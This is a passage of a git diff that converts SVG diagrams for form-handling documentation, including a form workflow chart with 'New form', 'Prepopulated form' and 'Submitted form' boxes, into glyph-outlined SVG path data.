8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface34189">
+<rect x="0" y="0" width="541" height="601" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 -1 L 42 -1 L 42 29 L 15 29 Z M 15 -1 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 321 382.601562 L 430 382.601562 L 430 406 L 321 406 Z M 321 382.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="321" y="401.008681"/>
+  <use xlink:href="#glyph0-1" x="324.888889" y="401.008681"/>
+  <use xlink:href="#glyph0-2" x="328.777778" y="401.008681"/>
+  <use xlink:href="#glyph0-3" x="336.555556" y="401.008681"/>
+  <use xlink:href="#glyph0-4" x="344.055556" y="401.008681"/>
+  <use xlink:href="#glyph0-5" x="352.111111" y="401.008681"/>
+  <use xlink:href="#glyph0-6" x="359.888889" y="401.008681"/>
+  <use xlink:href="#glyph0-7" x="364.888889" y="401.008681"/>
+  <use xlink:href="#glyph0-8" x="376.555556" y="401.008681"/>
+  <use xlink:href="#glyph0-9" x="383.777778" y="401.008681"/>
+  <use xlink:href="#glyph0-10" x="387.944444" y="401.008681"/>
+  <use xlink:href="#glyph0-11" x="391.833333" y="401.008681"/>
+  <use xlink:href="#glyph0-8" x="398.222222" y="401.008681"/>
+  <use xlink:href="#glyph0-12" x="405.444444" y="401.008681"/>
+  <use xlink:href="#glyph0-10" x="410.444444" y="401.008681"/>
+  <use xlink:href="#glyph0-5" x="414.333333" y="401.008681"/>
+  <use xlink:href="#glyph0-4" x="422.111111" y="401.008681"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 321 262.601562 L 414.75 262.601562 L 414.75 286 L 321 286 Z M 321 262.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="321" y="281.008681"/>
+  <use xlink:href="#glyph0-1" x="324.888889" y="281.008681"/>
+  <use xlink:href="#glyph0-4" x="328.777778" y="281.008681"/>
+  <use xlink:href="#glyph0-5" x="336.833333" y="281.008681"/>
+  <use xlink:href="#glyph0-6" x="344.611111" y="281.008681"/>
+  <use xlink:href="#glyph0-7" x="349.611111" y="281.008681"/>
+  <use xlink:href="#glyph0-8" x="361.277778" y="281.008681"/>
+  <use xlink:href="#glyph0-9" x="368.5" y="281.008681"/>
+  <use xlink:href="#glyph0-10" x="372.666667" y="281.008681"/>
+  <use xlink:href="#glyph0-11" x="376.555556" y="281.008681"/>
+  <use xlink:href="#glyph0-8" x="382.944444" y="281.008681"/>
+  <use xlink:href="#glyph0-12" x="390.166667" y="281.008681"/>
+  <use xlink:href="#glyph0-10" x="395.166667" y="281.008681"/>
+  <use xlink:href="#glyph0-5" x="399.055556" y="281.008681"/>
+  <use xlink:href="#glyph0-4" x="406.833333" y="281.008681"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.3 0 C 21.134375 0 21 0.134375 21 0.3 L 21 2.885352 C 21 3.050977 21.134375 3.185352 21.3 3.185352 L 28.7 3.185352 C 28.865625 3.185352 29 3.050977 29 2.885352 L 29 0.3 C 29 0.134375 28.865625 0 28.7 0 Z M 21.3 0 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="166.976562" y="60.853733"/>
+  <use xlink:href="#glyph1-2" x="177.809896" y="60.853733"/>
+  <use xlink:href="#glyph1-3" x="186.143229" y="60.853733"/>
+  <use xlink:href="#glyph1-4" x="197.809896" y="60.853733"/>
+  <use xlink:href="#glyph1-5" x="202.25434" y="60.853733"/>
+  <use xlink:href="#glyph1-6" x="207.25434" y="60.853733"/>
+  <use xlink:href="#glyph1-7" x="216.143229" y="60.853733"/>
+  <use xlink:href="#glyph1-8" x="221.698785" y="60.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.3 0 C 33.134375 0 33 0.134375 33 0.3 L 33 2.885352 C 33 3.050977 33.134375 3.185352 33.3 3.185352 L 40.7 3.185352 C 40.865625 3.185352 41 3.050977 41 2.885352 L 41 0.3 C 41 0.134375 40.865625 0 40.7 0 Z M 33.3 0 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="375.589844" y="60.853733"/>
+  <use xlink:href="#glyph1-7" x="384.200955" y="60.853733"/>
+  <use xlink:href="#glyph1-2" x="389.75651" y="60.853733"/>
+  <use xlink:href="#glyph1-10" x="398.089844" y="60.853733"/>
+  <use xlink:href="#glyph1-6" x="406.978733" y="60.853733"/>
+  <use xlink:href="#glyph1-10" x="415.867622" y="60.853733"/>
+  <use xlink:href="#glyph1-11" x="424.75651" y="60.853733"/>
+  <use xlink:href="#glyph1-12" x="433.645399" y="60.853733"/>
+  <use xlink:href="#glyph1-13" x="438.367622" y="60.853733"/>
+  <use xlink:href="#glyph1-14" x="446.423177" y="60.853733"/>
+  <use xlink:href="#glyph1-2" x="451.978733" y="60.853733"/>
+  <use xlink:href="#glyph1-15" x="460.312066" y="60.853733"/>
+  <use xlink:href="#glyph1-4" x="469.200955" y="60.853733"/>
+  <use xlink:href="#glyph1-5" x="473.645399" y="60.853733"/>
+  <use xlink:href="#glyph1-6" x="478.645399" y="60.853733"/>
+  <use xlink:href="#glyph1-7" x="487.534288" y="60.853733"/>
+  <use xlink:href="#glyph1-8" x="493.089844" y="60.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.3 25 C 27.134375 25 27 25.134375 27 25.3 L 27 27.885352 C 27 28.050977 27.134375 28.185352 27.3 28.185352 L 34.7 28.185352 C 34.865625 28.185352 35 28.050977 35 27.885352 L 35 25.3 C 35 25.134375 34.865625 25 34.7 25 Z M 27.3 25 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-16" x="266.15625" y="560.853733"/>
+  <use xlink:href="#glyph1-11" x="274.767361" y="560.853733"/>
+  <use xlink:href="#glyph1-17" x="283.65625" y="560.853733"/>
+  <use xlink:href="#glyph1-8" x="292.545139" y="560.853733"/>
+  <use xlink:href="#glyph1-18" x="305.878472" y="560.853733"/>
+  <use xlink:href="#glyph1-14" x="310.322917" y="560.853733"/>
+  <use xlink:href="#glyph1-14" x="315.878472" y="560.853733"/>
+  <use xlink:href="#glyph1-2" x="321.434028" y="560.853733"/>
+  <use xlink:href="#glyph1-15" x="329.767361" y="560.853733"/>
+  <use xlink:href="#glyph1-4" x="338.65625" y="560.853733"/>
+  <use xlink:href="#glyph1-5" x="343.100694" y="560.853733"/>
+  <use xlink:href="#glyph1-6" x="348.100694" y="560.853733"/>
+  <use xlink:href="#glyph1-7" x="356.989583" y="560.853733"/>
+  <use xlink:href="#glyph1-8" x="362.545139" y="560.853733"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 3.185352 L 25 5 L 31 5 L 31 24.399805 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.75 24.399805 L 31 24.899805 L 31.25 24.399805 Z M 30.75 24.399805 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 37 3.185352 L 37 5 L 31 5 L 31 24.45 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.75 24.45 L 31 24.95 L 31.25 24.45 Z M 30.75 24.45 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.708203 5.2 L 21.540625 5.2 C 22.207812 5.2 22.748828 5.75957 22.748828 6.45 C 22.748828 7.14043 22.207812 7.7 21.540625 7.7 L 16.708203 7.7 C 16.04082 7.7 15.5 7.14043 15.5 6.45 C 15.5 5.75957 16.04082 5.2 16.708203 5.2 Z M 16.708203 5.2 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="38.078125" y="158.892795"/>
+  <use xlink:href="#glyph1-2" x="46.967014" y="158.892795"/>
+  <use xlink:href="#glyph1-20" x="55.300347" y="158.892795"/>
+  <use xlink:href="#glyph1-11" x="64.189236" y="158.892795"/>
+  <use xlink:href="#glyph1-2" x="73.078125" y="158.892795"/>
+  <use xlink:href="#glyph1-21" x="81.411458" y="158.892795"/>
+  <use xlink:href="#glyph1-14" x="88.355903" y="158.892795"/>
+  <use xlink:href="#glyph1-4" x="93.911458" y="158.892795"/>
+  <use xlink:href="#glyph1-15" x="98.355903" y="158.892795"/>
+  <use xlink:href="#glyph1-13" x="107.244792" y="158.892795"/>
+  <use xlink:href="#glyph1-14" x="115.300347" y="158.892795"/>
+  <use xlink:href="#glyph1-13" x="120.855903" y="158.892795"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 241 94.601562 L 399.75 94.601562 L 399.75 118 L 241 118 Z M 241 94.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-13" x="241" y="113.008681"/>
+  <use xlink:href="#glyph0-8" x="249.055556" y="113.008681"/>
+  <use xlink:href="#glyph0-4" x="256.277778" y="113.008681"/>
+  <use xlink:href="#glyph0-2" x="264.333333" y="113.008681"/>
+  <use xlink:href="#glyph0-9" x="272.111111" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="276.277778" y="113.008681"/>
+  <use xlink:href="#glyph0-14" x="283.777778" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="291.833333" y="113.008681"/>
+  <use xlink:href="#glyph0-15" x="299.055556" y="113.008681"/>
+  <use xlink:href="#glyph0-16" x="306.833333" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="314.611111" y="113.008681"/>
+  <use xlink:href="#glyph0-17" x="322.111111" y="113.008681"/>
+  <use xlink:href="#glyph0-12" x="328.222222" y="113.008681"/>
+  <use xlink:href="#glyph0-18" x="333.222222" y="113.008681"/>
+  <use xlink:href="#glyph0-19" x="337.388889" y="113.008681"/>
+  <use xlink:href="#glyph0-6" x="345.444444" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="350.444444" y="113.008681"/>
+  <use xlink:href="#glyph0-15" x="357.666667" y="113.008681"/>
+  <use xlink:href="#glyph0-16" x="365.444444" y="113.008681"/>
+  <use xlink:href="#glyph0-3" x="373.222222" y="113.008681"/>
+  <use xlink:href="#glyph0-17" x="380.722222" y="113.008681"/>
+  <use xlink:href="#glyph0-12" x="386.833333" y="113.008681"/>
+  <use xlink:href="#glyph0-20" x="391.833333" y="113.008681"/>
+  <use xlink:href="#glyph0-1" x="396" y="113.008681"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 22.748828 6.45 L 30.3 6.484961 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.298828 6.734961 L 30.8 6.487305 L 30.301172 6.234961 Z M 30.298828 6.734961 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 8 C 28.134375 8 28 8.134375 28 8.3 L 28 10.885352 C 28 11.050977 28.134375 11.185352 28.3 11.185352 L 33.7 11.185352 C 33.865625 11.185352 34 11.050977 34 10.885352 L 34 8.3 C 34 8.134375 33.865625 8 33.7 8 Z M 28.3 8 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="276.15625" y="220.853733"/>
+  <use xlink:href="#glyph1-19" x="285.322917" y="220.853733"/>
+  <use xlink:href="#glyph1-22" x="295.045139" y="220.853733"/>
+  <use xlink:href="#glyph1-23" x="303.65625" y="220.853733"/>
+  <use xlink:href="#glyph1-16" x="310.322917" y="220.853733"/>
+  <use xlink:href="#glyph1-24" x="318.934028" y="220.853733"/>
+  <use xlink:href="#glyph1-25" x="329.489583" y="220.853733"/>
+  <use xlink:href="#glyph1-26" x="338.934028" y="220.853733"/>
+  <use xlink:href="#glyph1-27" x="351.989583" y="220.853733"/>
+  <use xlink:href="#glyph1-28" x="356.711806" y="220.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 14 C 28.134375 14 28 14.134375 28 14.3 L 28 16.885352 C 28 17.050977 28.134375 17.185352 28.3 17.185352 L 33.7 17.185352 C 33.865625 17.185352 34 17.050977 34 16.885352 L 34 14.3 C 34 14.134375 33.865625 14 33.7 14 Z M 28.3 14 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-16" x="293.226562" y="340.853733"/>
+  <use xlink:href="#glyph1-24" x="301.837674" y="340.853733"/>
+  <use xlink:href="#glyph1-25" x="312.393229" y="340.853733"/>
+  <use xlink:href="#glyph1-26" x="321.837674" y="340.853733"/>
+  <use xlink:href="#glyph1-27" x="334.893229" y="340.853733"/>
+  <use xlink:href="#glyph1-28" x="339.615451" y="340.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 20 C 28.134375 20 28 20.134375 28 20.3 L 28 22.885352 C 28 23.050977 28.134375 23.185352 28.3 23.185352 L 33.7 23.185352 C 33.865625 23.185352 34 23.050977 34 22.885352 L 34 20.3 C 34 20.134375 33.865625 20 33.7 20 Z M 28.3 20 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="271" y="460.853733"/>
+  <use xlink:href="#glyph1-29" x="279.888889" y="460.853733"/>
+  <use xlink:href="#glyph1-16" x="291" y="460.853733"/>
+  <use xlink:href="#glyph1-28" x="299.611111" y="460.853733"/>
+  <use xlink:href="#glyph1-23" x="308.777778" y="460.853733"/>
+  <use xlink:href="#glyph1-16" x="315.444444" y="460.853733"/>
+  <use xlink:href="#glyph1-24" x="324.055556" y="460.853733"/>
+  <use xlink:href="#glyph1-25" x="334.611111" y="460.853733"/>
+  <use xlink:href="#glyph1-26" x="344.055556" y="460.853733"/>
+  <use xlink:href="#glyph1-27" x="357.111111" y="460.853733"/>
+  <use xlink:href="#glyph1-28" x="361.833333" y="460.853733"/>
+</g>
+</g>
 </svg>
diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg
index a256c2073ef..2dbacbbf096 100644
--- a/_images/form/form_workflow.svg
+++ b/_images/form/form_workflow.svg
@@ -1,66 +1,263 @@
-<svg width="400" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <g id="global workflow">
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="620" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1560" y="659.838">
-        <tspan x="1560" y="659.838">New form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1720" y="620" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1800" y="659.838">
-        <tspan x="1800" y="659.838">Prepopulated form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1600" y="860" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="899.838">
-        <tspan x="1680" y="899.838">Submitted form</tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1640" y1="651.853" x2="1709" y2="651.853"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1709,656.853 1719,651.853 1709,646.853 "/>
-    </g>
-    <g>
-      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1560,683.706 1560,740 1680,740 1680,847.996 "/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,847.996 1680,857.996 1685,847.996 "/>
-    </g>
-    <g>
-      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1800,683.706 1800,740 1680,740 1680,849 "/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,849 1680,859 1685,849 "/>
-    </g>
-    <g>
-      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1626.67 520 L 1733.33,520 C 1748.06,520 1760,530.499 1760,543.449 C 1760,556.4 1748.06,566.898 1733.33,566.898 L 1626.67,566.898 C 1611.94,566.898 1600,556.4 1600,543.449 C 1600,530.499 1611.94,520 1626.67,520z"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="551.435">
-        <tspan x="1680" y="551.435">Model data</tspan>
-      </text>
-    </g>
-    <g>
-      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1384.16 780 L 1480.81,780 C 1494.16,780 1504.98,790.499 1504.98,803.449 C 1504.98,816.4 1494.16,826.898 1480.81,826.898 L 1384.16,826.898 C 1370.82,826.898 1360,816.4 1360,803.449 C 1360,790.499 1370.82,780 1384.16,780z"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1432.49" y="811.435">
-        <tspan x="1432.49" y="811.435">Request data</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1680" y="581.613" width="102.6" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="600">
-        <tspan xml:space="preserve" x="1680" y="600">  setData($data) </tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1510" y="776.613" width="158.75" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1510" y="795">
-        <tspan x="1510" y="795">handleRequest($request) </tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1504.98" y1="803.449" x2="1666" y2="804.667"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1665.96,809.667 1676,804.742 1666.04,799.667 "/>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1680" y1="566.898" x2="1680" y2="640.853"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,640.853 1680,650.853 1685,640.853 "/>
-    </g>
-  </g>
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="561pt" height="441pt" viewBox="0 0 561 441" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 